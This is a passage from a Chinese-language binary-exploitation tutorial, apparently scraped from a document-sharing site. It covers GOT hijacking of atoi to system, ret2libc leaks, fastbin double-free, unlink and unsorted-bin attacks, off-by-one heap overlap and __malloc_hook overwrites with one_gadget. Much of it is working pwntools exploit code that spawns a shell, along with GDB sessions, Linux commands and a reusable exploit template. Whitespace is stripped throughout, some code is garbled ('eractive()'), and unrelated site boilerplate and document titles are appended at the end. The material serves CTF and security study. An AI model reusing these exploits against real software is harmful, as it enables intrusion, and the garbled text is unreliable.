)適合被覆蓋地址泄露利用信息泄露漏洞獲取libc基地址,計(jì)算system函數(shù)位置。泄露已解析的GOT表項(xiàng)根據(jù)libc數(shù)據(jù)庫(kù)確定版本計(jì)算system和"/bin/sh"的地址GOT表覆蓋修改函數(shù)指針,將常用函數(shù)(如atoi,printf)重定向到system函數(shù)。選擇合適的目標(biāo)函數(shù)確保函數(shù)參數(shù)可控使用寫(xiě)入漏洞修改GOT表觸發(fā)執(zhí)行調(diào)用被劫持的函數(shù),傳入"/bin/sh"作為參數(shù),獲取shell。程序調(diào)用原函數(shù)時(shí)會(huì)執(zhí)行system控制輸入使第一個(gè)參數(shù)為"/bin/sh"成功獲取交互式shell修改atoi函數(shù)指針為systematoi函數(shù)是GOT劫持的理想目標(biāo),因?yàn)椋涸S多程序使用atoi處理用戶輸入atoi只接受一個(gè)字符串參數(shù),與system函數(shù)簽名匹配用戶通常可以控制傳給atoi的內(nèi)容攻擊步驟:確定atoi的GOT表地址泄露libc地址并計(jì)算system位置將atoi的GOT表項(xiàng)修改為system地址輸入"sh"或"/bin/sh"作為參數(shù)當(dāng)程序調(diào)用atoi("sh")時(shí),實(shí)際執(zhí)行的是system("sh"),從而獲取shell。getshell完整流程演示frompwnimport*context.log_level='info'elf=ELF('./vulnerable')libc=ELF('./libc.so.6')#或系統(tǒng)libcp=process('./vulnerable')#1.泄露puts實(shí)際地址p.sendlineafter(b'>',b'1')#假設(shè)有泄露功能puts_plt=elf.plt['puts']puts_got=elf.got['puts']main=elf.symbols['main']#構(gòu)造ROP鏈打印puts的GOT內(nèi)容payload=b'A'*paddingpayload+=p64(pop_rdi_gadget)payload+=p64(puts_got)payload+=p64(puts_plt)payload+=p64(main)#返回main繼續(xù)利用p.sendline(payload)leak=p.recvline().strip()puts_addr=u64(leak.ljust(8,b'\x00'))log.success(f"Leakedputs@GLIBC:{hex(puts_addr)}")#2.計(jì)算libc基地址和system地址libc_base=puts_addr-libc.symbols['puts']system_addr=libc_base+libc.symbols['system']binsh_addr=libc_base+next(libc.search(b'/bin/sh'))log.success(f"Libcbase:{hex(libc_base)}")log.success(f"System:{hex(system_addr)}")#3.修改atoi的GOT表為systemp.sendlineafter(b'>',b'2')#假設(shè)有寫(xiě)入功能atoi_got=elf.got['atoi']#使用格式化字符串或其他方法寫(xiě)入#假設(shè)有任意地址寫(xiě)入功能payload=p64(atoi_got)+p64(system_addr)p.sendline(payload)#4.觸發(fā)getshellp.sendlineafter(b'>',b'sh')#輸入sh作為atoi參數(shù)eractive()第六章:堆漏洞入門(mén)與進(jìn)階堆是程序動(dòng)態(tài)分配內(nèi)存的區(qū)域,也是現(xiàn)代漏洞利用的主要戰(zhàn)場(chǎng)。本章將深入探討堆的內(nèi)部結(jié)構(gòu)、分配機(jī)制和常見(jiàn)漏洞,幫助您掌握堆漏洞分析和利用的核心技能。堆的基本結(jié)構(gòu)了解堆的內(nèi)存布局、塊結(jié)構(gòu)和分配算法,包括ptmalloc2的工作原理和關(guān)鍵數(shù)據(jù)結(jié)構(gòu)。堆溢出學(xué)習(xí)堆緩沖區(qū)溢出的原理和利用方法,包括相鄰塊覆蓋和元數(shù)據(jù)破壞。2DoubleFree掌握雙重釋放漏洞的成因和利用技術(shù),以及fastbinattack的核心原理。Use-After-Free深入研究釋放后使用漏洞,學(xué)習(xí)如何利用懸垂指針控制程序執(zhí)行流程。Tcache機(jī)制了解現(xiàn)代libc中的tcache機(jī)制及其對(duì)堆利用的影響和新的攻擊面。Hook劫持學(xué)習(xí)利用堆漏洞劫持malloc_hook和free_hook等關(guān)鍵函數(shù)指針的技術(shù)。本章內(nèi)容是現(xiàn)代漏洞利用的核心部分,也是CTF比賽和實(shí)際安全研究中最常見(jiàn)的漏洞類(lèi)型。通過(guò)系統(tǒng)學(xué)習(xí)堆漏洞的原理和利用方法,您將能夠應(yīng)對(duì)更復(fù)雜的安全挑戰(zhàn),提升漏洞分析和利用的能力。堆基礎(chǔ)知識(shí)堆結(jié)構(gòu)與相關(guān)函數(shù)介紹堆是程序運(yùn)行時(shí)動(dòng)態(tài)分配內(nèi)存的區(qū)域,Linux系統(tǒng)中使用ptmalloc2作為默認(rèn)的內(nèi)存分配器。了解堆的基本結(jié)構(gòu)和管理機(jī)制是堆漏洞分析的基礎(chǔ)。堆相關(guān)函數(shù):malloc(size_tsize):分配指定大小的內(nèi)存free(void*ptr):釋放之前分配的內(nèi)存calloc(size_tnmemb,size_tsize):分配并清零內(nèi)存realloc(void*ptr,size_tsize):調(diào)整已分配內(nèi)存的大小堆塊結(jié)構(gòu):在ptmalloc2中,每個(gè)堆塊由元數(shù)據(jù)和用戶數(shù)據(jù)兩部分組成:structmalloc_chunk{size_tprev_size;//前一個(gè)塊的大?。ㄈ绻皦K已釋放)size_tsize;//當(dāng)前塊大小+標(biāo)志位structmalloc_chunk*fd;//空閑鏈表前向指針(僅當(dāng)塊空閑時(shí))structmalloc_chunk*bk;//空閑鏈表后向指針(僅當(dāng)塊空閑時(shí))//用戶數(shù)據(jù)區(qū)...};size字段的低3位用作標(biāo)志位:PREV_INUSE(0x1):前一個(gè)塊是否使用中IS_MMAPPED(0x2):塊是否通過(guò)mmap分配N(xiāo)ON_MAIN_ARENA(0x4):塊是否屬于非主arena堆管理機(jī)制:ptmalloc2使用多級(jí)管理結(jié)構(gòu)組織空閑塊:FastBins:小塊快速重用,單鏈表,LIFOUnsortedBin:新釋放的塊暫存處,雙鏈表SmallBins:小塊有序存儲(chǔ),雙鏈表LargeBins:大塊有序存儲(chǔ),雙鏈表,按大小排序Tcache:線程緩存,在較新版本libc中引入U(xiǎn)se-After-Free漏洞泄露地址Use-After-Free(UAF)是指程序在釋放內(nèi)存后仍然使用指向該內(nèi)存的指針。這種漏洞可以用來(lái)泄露關(guān)鍵地址:分配包含指針的對(duì)象A釋放對(duì)象A分配新對(duì)象B到相同位置(堆噴技術(shù))通過(guò)原始指針訪問(wèn)A,實(shí)際讀取了B的內(nèi)容示例代碼://假設(shè)有如下結(jié)構(gòu)體structObject{void(*func_ptr)(void);chardata[32];};//漏洞利用流程structObject*obj=malloc(sizeof(structObject));obj->func_ptr=some_function;//初始化函數(shù)指針free(obj);//釋放對(duì)象,但保留了指針//堆噴,使新對(duì)象占據(jù)原來(lái)位置char*new_obj=malloc(sizeof(structObject));memset(new_obj,'A',sizeof(structObject));//此時(shí)obj->func_ptr將包含'AAAAAAAA'printf("Leakeddata:%p\n",obj->func_ptr);通過(guò)這種方式,可以泄露堆上的指針、libc地址或其他關(guān)鍵信息,為后續(xù)攻擊提供基礎(chǔ)。堆漏洞高級(jí)利用doublefree與fastbin攻擊doublefree指的是同一個(gè)內(nèi)存塊被釋放兩次,這違反了內(nèi)存管理的基本原則,可能導(dǎo)致嚴(yán)重的安全問(wèn)題。fastbinattack基本原理:分配一個(gè)fastbin大小的塊A釋放塊A(進(jìn)入fastbin)釋放塊A第二次(現(xiàn)在fastbin中有A→A的循環(huán))分配一次(取出第一個(gè)A)分配第二次(取出第二個(gè)A,實(shí)際上是同一個(gè)塊)修改第一個(gè)A中的數(shù)據(jù),會(huì)影響第二個(gè)A利用這種重疊修改關(guān)鍵數(shù)據(jù)結(jié)構(gòu)新版libc中增加了檢查防止直接doublefree,但可以通過(guò)中間釋放其他塊繞過(guò):A→B→A。fastbinattack示例代碼:frompwnimport*p=process('./vulnerable')#分配三個(gè)塊p.sendlineafter(b'>',b'1')#malloc(0x40)p.sendlineafter(b'size:',b'64')p.sendlineafter(b'content:',b'AAAA')#chunkAp.sendlineafter(b'>',b'1')#malloc(0x40)p.sendlineafter(b'size:',b'64')p.sendlineafter(b'content:',b'BBBB')#chunkBp.sendlineafter(b'>',b'1')#malloc(0x40)p.sendlineafter(b'size:',b'64')p.sendlineafter(b'content:',b'CCCC')#chunkC#依次釋放A,B,Ap.sendlineafter(b'>',b'2')#free(A)p.sendlineafter(b'index:',b'0')p.sendlineafter(b'>',b'2')#free(B)p.sendlineafter(b'index:',b'1')p.sendlineafter(b'>',b'2')#free(A)againp.sendlineafter(b'index:',b'0')#現(xiàn)在fastbin鏈為:A->B->Aunlink與unsortedbin攻擊unlink是堆管理器合并相鄰空閑塊的操作。在早期版本中,unlink操作可以被利用來(lái)實(shí)現(xiàn)任意地址寫(xiě)入。unlink攻擊基本原理:構(gòu)造一個(gè)假的堆塊,使其fd和bk指針形成特定關(guān)系觸發(fā)對(duì)這個(gè)塊的unlink操作利用公式:FD->bk=BK;BK->fd=FD;實(shí)現(xiàn)任意地址寫(xiě)入現(xiàn)代libc中增加了安全檢查:FD->bk==P&&BK->fd==P,限制了unlink攻擊,但在特定條件下仍可利用。unsortedbin攻擊:unsortedbin攻擊利用了釋放大塊內(nèi)存時(shí)會(huì)將塊放入unsortedbin并初始化fd和bk指針的特性:釋放一個(gè)大于fastbin大小的塊修改其fd指針為目標(biāo)地址-0x10觸發(fā)libc操作,使其執(zhí)行victim->bk->fd=unsorted_bin實(shí)現(xiàn)向任意地址寫(xiě)入一個(gè)unsortedbin地址(泄露libc基址)//unsortedbinattack示例代碼uint64_t*chunk=malloc(0x80);free(chunk);//釋放到unsortedbin//修改fd指針chunk[0]=target_addr-0x10;//觸發(fā)操作(如malloc)導(dǎo)致寫(xiě)入malloc(0x80);//此時(shí)target_addr處將包含指向main_arena的指針堆溢出與Hook函數(shù)利用off-by-one漏洞off-by-one(差一錯(cuò)誤)是一種常見(jiàn)的邊界條件漏洞,在堆上表現(xiàn)為:寫(xiě)入比分配空間多一個(gè)字節(jié)通常出現(xiàn)在循環(huán)或字符串操作中可以覆蓋下一個(gè)塊的元數(shù)據(jù)這種漏洞雖然只能修改一個(gè)字節(jié),但可能導(dǎo)致嚴(yán)重后果:修改下一個(gè)塊的size字段,創(chuàng)建堆塊重疊修改空閑塊的指針低字節(jié),影響鏈表結(jié)構(gòu)改變PREV_INUSE標(biāo)志位,觸發(fā)錯(cuò)誤的合并操作典型的off-by-one漏洞代碼:voidvulnerable_function(){char*buffer=malloc(16);gets(buffer);//可能寫(xiě)入17個(gè)字節(jié)//或使用循環(huán)時(shí)邊界條件錯(cuò)誤for(inti=0;i<=16;i++){//注意是<=而非<buffer[i]='A';}}利用方法:分配兩個(gè)相鄰堆塊A和B利用off-by-one覆蓋B的size字段修改size使其包含下一個(gè)塊C釋放B后再分配,得到一個(gè)包含C的大塊此時(shí)可以修改C的內(nèi)容,實(shí)現(xiàn)堆重疊攻擊__malloc_hook、__free_hook與one_gadgetlibc中包含多個(gè)函數(shù)指針鉤子,用于調(diào)試和自定義內(nèi)存管理行為。這些鉤子可以被劫持來(lái)執(zhí)行任意代碼:__malloc_hook:malloc函數(shù)調(diào)用前會(huì)檢查此鉤子__free_hook:free函數(shù)調(diào)用前會(huì)檢查此鉤子__realloc_hook:realloc函數(shù)調(diào)用前會(huì)檢查此鉤子攻擊步驟:通過(guò)某種堆漏洞獲得任意地址寫(xiě)入能力計(jì)算__malloc_hook或__free_hook的地址將鉤子覆蓋為one_gadget或system函數(shù)地址觸發(fā)相應(yīng)的malloc或free調(diào)用執(zhí)行shellcodeone_gadget技術(shù)one_gadget是libc中的特殊代碼片段,可以一步調(diào)用execve("/bin/sh",NULL,NULL)。使用方法:使用工具查找libc中的one_gadget:one_gadgetlibc.so.6選擇合適的gadget(根據(jù)約束條件)計(jì)算實(shí)際地址:libc基址+gadget偏移覆蓋鉤子函數(shù)指針完整漏洞利用示例:frompwnimport*p=process('./vulnerable')libc=ELF('./libc.so.6')#泄露libc地址(假設(shè)已有方法)#...獲取libc_base...#計(jì)算鉤子地址malloc_hook=libc_base+libc.symbols['__malloc_hook']one_gadget=libc_base+0x4527a#從one_gadget工具獲得#利用堆漏洞(如fastbinattack)寫(xiě)入#...堆漏洞利用代碼...#覆蓋__malloc_hookpayload=p64(one_gadget)p.sendline(payload)#觸發(fā)malloc調(diào)用p.sendlineafter(b'>',b'1')#分配內(nèi)存p.sendlineafter(b'size:',b'64')#獲得eractive()第七章:實(shí)戰(zhàn)環(huán)境搭建與自動(dòng)化腳本高效的環(huán)境搭建和自動(dòng)化工具是安全研究的重要保障。本章將介紹實(shí)戰(zhàn)環(huán)境配置、常用Linux命令和自動(dòng)化腳本開(kāi)發(fā)技巧,幫助您構(gòu)建一個(gè)高效的安全研究工作流。Linux基礎(chǔ)技能掌握Linux系統(tǒng)的基本操作和命令行工具,為安全研究打下堅(jiān)實(shí)基礎(chǔ)。常用shell命令與文件操作進(jìn)程管理與監(jiān)控權(quán)限控制與系統(tǒng)設(shè)置網(wǎng)絡(luò)工具與遠(yuǎn)程訪問(wèn)自動(dòng)化腳本開(kāi)發(fā)學(xué)習(xí)使用Python和pwntools庫(kù)開(kāi)發(fā)漏洞利用腳本,提高工作效率。pwntools核心功能與API漏洞利用腳本框架自動(dòng)化信息收集與分析批處理與多目標(biāo)利用調(diào)試與分析技巧掌握高效的調(diào)試方法和工具,快速定位和分析問(wèn)題。GDB高級(jí)調(diào)試技巧調(diào)試插件功能與使用內(nèi)存分析與斷點(diǎn)技術(shù)動(dòng)態(tài)追蹤與日志分析研究環(huán)境優(yōu)化構(gòu)建高效、穩(wěn)定的安全研究環(huán)境,提升工作體驗(yàn)和效率。虛擬機(jī)管理與快照工具鏈配置與集成環(huán)境隔離與安全措施性能優(yōu)化與資源管理本章內(nèi)容將幫助您從臨時(shí)性的漏洞分析轉(zhuǎn)向系統(tǒng)化的安全研究,通過(guò)自動(dòng)化工具和高效工作流程,大幅提升漏洞分析和利用的效率。我們將結(jié)合實(shí)際案例,講解各種工具和技術(shù)的應(yīng)用場(chǎng)景和最佳實(shí)踐。Linux命令行基礎(chǔ)文件操作命令熟練掌握文件操作是Linux使用的基礎(chǔ),以下是常用命令:ls:列出目錄內(nèi)容,常用選項(xiàng)-l(詳細(xì)信息)、-a(顯示隱藏文件)cd:切換目錄,cd..(上級(jí)目錄)、cd~(主目錄)pwd:顯示當(dāng)前工作目錄mkdir/rmdir:創(chuàng)建/刪除目錄touch:創(chuàng)建空文件或更新時(shí)間戳cp:復(fù)制文件,cp-r(遞歸復(fù)制目錄)mv:移動(dòng)文件或重命名rm:刪除文件,rm-r(遞歸刪除)、rm-f(強(qiáng)制刪除)chmod:修改文件權(quán)限,如chmod+x(添加執(zhí)行權(quán)限)chown:修改文件所有者文本處理命令安全分析經(jīng)常需要處理文本數(shù)據(jù),以下命令非常有用:cat:查看文件內(nèi)容less/more:分頁(yè)查看大文件head/tail:查看文件開(kāi)頭/結(jié)尾,tail-f(實(shí)時(shí)查看日志)grep:文本搜索,grep-r(遞歸搜索)、grep-i(忽略大小寫(xiě))sed:流編輯器,用于文本替換awk:強(qiáng)大的文本處理工具sort:排序文本行uniq:去除重復(fù)行wc:統(tǒng)計(jì)行數(shù)、字?jǐn)?shù)等系統(tǒng)與進(jìn)程命令管理系統(tǒng)和進(jìn)程是安全分析的重要部分:ps:查看進(jìn)程,psaux(所有進(jìn)程)top/htop:動(dòng)態(tài)查看系統(tǒng)資源和進(jìn)程kill/pkill:終止進(jìn)程sudo:以管理員權(quán)限執(zhí)行命令uname-a:查看系統(tǒng)信息df-h:查看磁盤(pán)使用情況free-m:查看內(nèi)存使用情況lsof:列出打開(kāi)的文件網(wǎng)絡(luò)相關(guān)命令網(wǎng)絡(luò)命令對(duì)于安全分析和遠(yuǎn)程操作至關(guān)重要:ifconfig/ip:查看網(wǎng)絡(luò)接口ping:測(cè)試網(wǎng)絡(luò)連通性netstat/ss:查看網(wǎng)絡(luò)連接ssh:安全遠(yuǎn)程登錄scp:安全復(fù)制文件wget/curl:下載文件nslookup/dig:DNS查詢tcpdump:網(wǎng)絡(luò)數(shù)據(jù)包分析腳本自動(dòng)化基礎(chǔ)Shell腳本基礎(chǔ)Shell腳本是自動(dòng)化簡(jiǎn)單任務(wù)的理想選擇:#!/bin/bash#簡(jiǎn)單的文件批處理示例#循環(huán)處理目錄中的所有ELF文件forfilein*.elf;doecho"Processing$file..."#檢查文件保護(hù)checksec--file=$file#提取字符串strings$file>$file.strings#反匯編文件objdump-d$file>$file.asmdoneecho"Processingcomplete!"常用管道和重定向管道和重定向是命令行強(qiáng)大的功能:|:管道,將一個(gè)命令的輸出作為另一個(gè)命令的輸入>:輸出重定向,將輸出寫(xiě)入文件(覆蓋)>>:追加重定向,將輸出追加到文件末尾<:輸入重定向,從文件讀取輸入2>:錯(cuò)誤輸出重定向&>:同時(shí)重定向標(biāo)準(zhǔn)輸出和錯(cuò)誤輸出示例:#查找包含"password"的文件grep-r"password"/etc/2>/dev/null#提取二進(jìn)制文件中的可打印字符串并篩選包含"flag"的行strings./binary|grep"flag"#查找當(dāng)前目錄下的所有ELF文件find.-typef-execfile{}\;|grepELFPython自動(dòng)化利用腳本pwntools庫(kù)核心功能pwntools是CTF競(jìng)賽和漏洞研究中最常用的Python庫(kù),提供了豐富的功能:基本功能:進(jìn)程交互:process()創(chuàng)建本地進(jìn)程,remote()連接遠(yuǎn)程服務(wù)數(shù)據(jù)操作:p32/p64打包數(shù)據(jù),u32/u64解包數(shù)據(jù)日志記錄:(),log.success(),log.error()等字符串操作:16進(jìn)制轉(zhuǎn)換,編碼解碼等高級(jí)功能:ELF解析:分析ELF文件結(jié)構(gòu),獲取符號(hào)地址ROP鏈構(gòu)造:自動(dòng)搜索gadgets并構(gòu)建ROP鏈匯編/反匯編:匯編代碼和機(jī)器碼互轉(zhuǎn)Shellcode生成:內(nèi)置多種架構(gòu)的shellcode生成器符號(hào)動(dòng)態(tài)解析:通過(guò)DynELF動(dòng)態(tài)定位函數(shù)常用代碼片段:frompwnimport*#設(shè)置環(huán)境context.arch='amd64'#設(shè)置架構(gòu)context.log_level='debug'#設(shè)置日志級(jí)別#連接程序p=process('./vulnerable')#本地程序#p=remote('',1337)#遠(yuǎn)程服務(wù)#ELF解析elf=ELF('./vulnerable')libc=ELF('./libc.so.6')#地址獲取main_addr=elf.symbols['main']puts_plt=elf.plt['puts']puts_got=elf.got['puts']#ROP鏈構(gòu)造rop=ROP(elf)rop.raw(0x41414141)#添加原始數(shù)據(jù)rop.call('puts',[puts_got])#調(diào)用函數(shù)rop.call('main')#返回到main#發(fā)送和接收數(shù)據(jù)p.recvuntil(b'>')#接收直到特定字符串p.sendline(b'Hello')#發(fā)送一行數(shù)據(jù)eractive()#交互式shell編寫(xiě)高效exp腳本示例一個(gè)完整的漏洞利用腳本通常包含以下部分:環(huán)境設(shè)置和連接建立信息收集和地址泄露漏洞利用載荷構(gòu)建攻擊執(zhí)行和獲取shell通用腳本模板:#!/usr/bin/envpython3frompwnimport*importsys#=====配置區(qū)域=====context.binary='./vulnerable'context.terminal=['terminator','-e']context.log_level='info'#=====全局變量=====elf=context.binarylibc=ELF('./libc.so.6',checksec=False)#=====工具函數(shù)=====defconn():ifargs.REMOTE:returnremote(args.HOST,args.PORT)else:returnprocess(elf.path)defattach_gdb():ifargs.GDB:gdb.attach(p,'''b*main+150c''')pause()#=====漏洞利用代碼=====defexploit(p):#1.泄露地址("Leakingaddresses...")#構(gòu)造泄露payloadpayload=b'A'*paddingpayload+=p64(pop_rdi)payload+=p64(elf.got['puts'])payload+=p64(elf.plt['puts'])payload+=p64(elf.symbols['main'])p.sendlineafter(b'>',payload)#解析泄露leak=p.recvuntil(b'\n',drop=True)puts_addr=u64(leak.ljust(8,b'\x00'))log.success(f"Leakedputs@GLIBC:{hex(puts_addr)}")#計(jì)算基址libc.address=puts_addr-libc.symbols['puts']log.success(f"Libcbase:{hex(libc.address)}")#2.獲取shell("Gettingshell...")payload=b'A'*paddingpayload+=p64(pop_rdi)payload+=p64(next(libc.search(b'/bin/sh')))payload+=p64(libc.symbols['system'])p.sendlineafter(b'>',payload)#3.交互eractive()#=====主函數(shù)=====if__name__=="__main__":#命令行參數(shù)parser=argparse.ArgumentParser()parser.add_argument('--gdb',action='store_true',dest='GDB')parser.add_argument('--remote',action='store_true',dest='REMOTE')parser.add_argument('--host',type=str,dest='HOST',default='')parser.add_argument('--port',type=int,dest='PORT',default=1337)args=parser.parse_args()#開(kāi)始利用p=conn()try:attach_gdb()exploit(p)except:p.close()raise這個(gè)模板可以作為大多數(shù)漏洞利用腳本的起點(diǎn),根據(jù)具體漏洞類(lèi)型進(jìn)行調(diào)整和擴(kuò)展。調(diào)試與漏洞復(fù)現(xiàn)技巧GDB基本命令掌握GDB的基本命令是調(diào)試的基礎(chǔ):run(r):啟動(dòng)程序break(b):設(shè)置斷點(diǎn),如bmaincontinue(c):繼續(xù)執(zhí)行step(s):單步執(zhí)行,進(jìn)入函數(shù)next(n):單步執(zhí)行,不進(jìn)入函數(shù)print(p):打印變量值x:檢查內(nèi)存,如x/10gx$rspinfo:顯示信息,如inforegistersbacktrace(bt):顯示調(diào)用棧插件輔助命令GDB插件提供了更強(qiáng)大的調(diào)試功能:PEDA命令:checksec:檢查程序安全機(jī)制vmmap:顯示內(nèi)存映射patterncreate/search:創(chuàng)建和搜索特征字符串dumprop:轉(zhuǎn)儲(chǔ)ROPgadgetsGEF命令:heapchunks:顯示堆塊信息heapbins:顯示堆bin信息got:顯示GOT表trace-run:跟蹤執(zhí)行內(nèi)存分析技巧高效的內(nèi)存分析對(duì)漏洞調(diào)試至關(guān)重要:查看寄存器:inforegisters或regs查看棧:x/20gx$rsp查看特定地址:x/s0x12345678跟蹤數(shù)據(jù):watch*0x12345678條件斷點(diǎn):b*0x4006a0if$rax==0x100反匯編:disassemblemain調(diào)試工作流一個(gè)高效的調(diào)試工作流程包括:程序分析:使用IDA/Ghidra理解程序結(jié)構(gòu)斷點(diǎn)設(shè)置:在關(guān)鍵位置設(shè)置斷點(diǎn)運(yùn)行程序:觀察正常行為輸入測(cè)試:提供正常和異常輸入跟蹤執(zhí)行:觀察程序如何處理輸入檢查內(nèi)存:尋找漏洞和利用點(diǎn)反復(fù)測(cè)試:驗(yàn)證漏洞假設(shè)GDB調(diào)試流程以下是一個(gè)典型的GDB調(diào)試會(huì)話示例,展示了調(diào)試棧溢出漏洞的完整流程:$gdb-q./vulnerablepwndbg>checksec[*]'/path/to/vulnerable'Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE(0x400000)pwndbg>disassemblevulnerable_function...匯編代碼...#在關(guān)鍵位置設(shè)置斷點(diǎn)pwndbg>b*vulnerable_function+50Breakpoint1at0x400676#設(shè)置異常處理斷點(diǎn)pwndbg>catchsyscallexecveCatchpoint2(syscall'execve'[59])#運(yùn)行程序pwndbg>rStartingprogram:/path/to/vulnerableEnteryourinput:AAAABBBBCCCC#程序停在斷點(diǎn)1Breakpoint1,0x0000000000400676invulnerable_function()#檢查棧pwndbg>x/20gx$rsp0x7fffffffe180:0x41414141414141410x42424242424242420x7fffffffe190:0x43434343434343430x00000000000000000x7fffffffe1a0:0x00007fffffffe2700x0000000000400730...#計(jì)算覆蓋返回地址需要的填充長(zhǎng)度pwndbg>patterncreate100'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'pwndbg>rStartingprogram:/path/to/vulnerableEnteryourinput:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL#程序崩潰ProgramreceivedsignalSIGSEGV,Segmentationfault.0x0000000041414641in??()#查找偏移pwndbg>patternsearch0x0000000041414641[+]Exactmatchatoffset40#構(gòu)造利用載荷pwndbg>r<<(python-c'importsys;sys.stdout.buffer.write(b"A"*40+b"\xef\xbe\xad\xde")')...插件輔助調(diào)試實(shí)戰(zhàn)以下是使用GDB插件調(diào)試堆漏洞的示例:$gdb-q./heap_vulnerablepwndbg>bmainBreakpoint1at0x400750pwndbg>rStartingprogram:/path/to/heap_vulnerableBreakpoint1,0x0000000000400750inmain()#查看程序內(nèi)存布局pwndbg>vmmapLEGEND:STACK|HEAP|CODE|DATA|RWX|RODATA0x4000000x401000r-xp10000/path/to/heap_vulnerable...0x6030000x624000rw-p210000[heap]...#設(shè)置在關(guān)鍵malloc和free位置的斷點(diǎn)pwndbg>b*0x400860Breakpoint2at0x400860#運(yùn)行到第一次分配pwndbg>cContinuing.Allocatingbuffer1...Breakpoint2,0x0000000000400860in??()#查看堆狀態(tài)pwndbg>heapchunksChunk(addr=0x603000,size=0x250,flags=PREV_INUSE)[0x000000000060300000000000000000000000000000000000................]Chunk(addr=0x603250,size=0x110,flags=PREV_INUSE)[0x000000000060325000000000000000000000000000000000................]...#填充數(shù)據(jù)后檢查pwndbg>cContinuing.Enterdataforbuffer1:AAAAAAAApwndbg>x/20gx0x6032500x603250:0x41414141414141410x000000000000
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年中國(guó)費(fèi)托微粉蠟行業(yè)市場(chǎng)分析及投資價(jià)值評(píng)估前景預(yù)測(cè)報(bào)告
- 發(fā)病學(xué)說(shuō)課稿-2025-2026學(xué)年中職專業(yè)課-病理學(xué)基礎(chǔ)-醫(yī)學(xué)類(lèi)-醫(yī)藥衛(wèi)生大類(lèi)
- 2025年人力資源管理人員招聘面試指南與模擬題解析
- 2025年中國(guó)通信行業(yè)招聘考試熱點(diǎn)解析
- 2025年中國(guó)航信項(xiàng)目管理面試模擬題解析從理論到實(shí)踐的應(yīng)用
- 2025年鄉(xiāng)鎮(zhèn)政府招聘考試模擬題及答題技巧
- 2025年鄉(xiāng)村物流管理專業(yè)人才招聘考試指南及試題庫(kù)
- 2025年鄉(xiāng)村直播銷(xiāo)售員中級(jí)考試復(fù)習(xí)建議與經(jīng)驗(yàn)
- 人教版初中歷史與社會(huì)八年級(jí)上冊(cè) 1.3.2 羅馬帝國(guó)的興衰 教學(xué)設(shè)計(jì)
- 2025年鄉(xiāng)村治理與社區(qū)管理人才引進(jìn)面試題
- GB/T 18724-2024印刷技術(shù)印刷品與印刷油墨耐各種試劑性的測(cè)定
- 現(xiàn)代大學(xué)教學(xué)理念與方法
- 九年級(jí)英語(yǔ)上學(xué)期第一次月考(廣東卷)-2024-2025學(xué)年九年級(jí)英語(yǔ)上冊(cè)模塊重難點(diǎn)易錯(cuò)題精練(外研版)
- HG+20231-2014化學(xué)工業(yè)建設(shè)項(xiàng)目試車(chē)規(guī)范
- 冷水灘區(qū)2021上半年事業(yè)單位計(jì)算機(jī)崗位專業(yè)知識(shí)試題
- 馬克思政治經(jīng)濟(jì)學(xué)考試題庫(kù)含答案全套
- 渤中19-6凝析氣田試驗(yàn)區(qū)開(kāi)發(fā)項(xiàng)目(第二階段)環(huán)評(píng)報(bào)告
- 部編版七年級(jí)歷史上冊(cè)練習(xí)題(全冊(cè)-含答案)
- 微電網(wǎng)及儲(chǔ)能技術(shù)
- 變壓器主保護(hù)基本知識(shí)測(cè)試題
- 臨汾市社區(qū)工作者考試題庫(kù)2023
評(píng)論
0/150
提交評(píng)論